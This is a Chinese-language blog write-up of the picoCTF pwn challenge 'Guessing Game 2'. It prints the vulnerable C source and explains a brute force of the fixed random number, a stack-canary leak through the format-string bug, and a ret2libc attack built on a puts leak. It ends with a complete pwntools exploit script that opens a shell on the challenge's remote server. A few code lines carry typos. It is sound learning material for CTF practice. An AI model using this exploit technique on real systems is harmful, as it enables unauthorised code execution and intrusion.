picoCTF pwn wp - Guessing Game 2

在这里插入图片描述

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 512


long get_random() {
	return rand;
}

int get_version() {
	return 2;
}

int do_stuff() {
	long ans = (get_random() % 4096) + 1;
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	gets(winner);
	printf("Congrats: ");
	printf(winner);
	printf("\n\n");
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n");
	printf("Version: %x\n\n", get_version());
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}

在这里插入图片描述

格式化漏洞, 开了canary, 不能直接溢出, 但是可以通过格式化漏洞泄露canary再溢出

预测同guessing game 1一样, rand函数种子是固定的, 每次生成的随机数是固定值, 调试拿到固定值
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

不过打远程就有问题了, 远程服务器的随机数虽然固定, 但不同于本地, 所以猜测错误
在这里插入图片描述

但是看源码发现随机数是有范围的, -4095~4096, 所以可以在1w次以内的尝试中找到随机数, 而且程序是无限循环, 随机数不重置, 可以爆破出远程服务器的随机数, 到达漏洞点

def bruteforce_num():
    for i in range(-4095, 4096):
        io.recvuntil("What number would you like to guess?\n")
        io.sendline(str(i))
        print(str(i))
        message = io.recv(4)
        # print(message[0], message[0] == ord('N'))
        if message[0] == ord('C'):
            print("guess number is: ", i)
            break

    return i

在这里插入图片描述

在这里插入图片描述

偏移量是6, buf到ebp的偏移是0x20C, 131个单位, canary到ebp的偏移是0xC, 3个单位, 所以printf格式字符串的第131 + 6 - 3 = 134个参数是泄露canary, 拿到canary就可以栈溢出, 不过后来发现是第135个位置处才是canary, 按理说计算上应该没有问题, 不过实际有出入, 可能什么地方没理解对…

在这里插入图片描述

在这里插入图片描述

有格式化漏洞的另一个作用是泄露libc函数的地址, 然后到libc库去查找对应的libc版本, 然后就可以找到system地址和"/bin/sh"字符串的地址, 构造payload调用system("/bin/sh")完成攻击

泄露puts函数的payload格式为

payload = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(puts_plt) + p32(ret_addr) + p32(puts_got)

puts_plt是调用puts函数, puts_got作为puts的参数传入, 将puts函数地址打印出来, 然后返回到ret_addr处继续执行, 这里可以设置ret_addr为win()函数地址, 这样可以反复利用栈溢出漏洞

在这里插入图片描述
在这里插入图片描述

libc库搜索https://libc.nullbyte.cat/

在这里插入图片描述

在这里插入图片描述

这里需要注意第一个libc未必是正确的预测版本, 需要多个尝试, 最好从系统分类开始, 比如i386的Ubuntu系统, 有了偏移就可以直接调用libc下的system函数

from pwn import *
from pwnlib.util.cyclic import cyclic

context.log_level = "debug"
URL = "3.131.60.8"
PORT = 43578
sel = 1
io = ioess("./vuln-gg2") if sel == 0 else remote(URL, PORT)
pad = 0x200
elf = ELF("./vuln-gg2")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
win_addr = elf.functions['win'].address # 0x0804876E # elf.symbols['win']

def bruteforce_num():
    for i in range(-3984, 4096):
        io.recvuntil("What number would you like to guess?\n")
        io.sendline(str(i))
        print(str(i))
        message = io.recv(4)
        # print(message[0], message[0] == ord('N'))
        if message[0] == ord('C'):
            print("guess number is: ", i)
            break

    return i

# num = bruteforce_num()
# io.recvuntil("What number would you like to guess?\n")
# io.sendline(num)

# canary_leak = "Z" * 4 + "%x " * 30
# io.sendlineafter("Name? ", canary_leak)
# print(io.recv())

num = bruteforce_num()
io.sendlineafter("Name? ", "%135$p")
io.recvuntil("Congrats: ")
canary = int(io.recvline().decode().strip(),16)
print("leak canary = ", canary)
io.sendlineafter("What number would you like to guess?\n", str(num))

payload1 = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(puts_plt) + p32(win_addr) + p32(puts_got)
io.sendlineafter("Name? ", payload1)
io.recvlines(2)
puts_addr = u32(io.recv(4))
log.success(hex(puts_addr))

sys_addr = puts_addr - 0x2a650
binsh_addr = puts_addr + 0x11442f

io.recvuntil("Name? ")
payload2 = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(sys_addr) + p32(win_addr) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值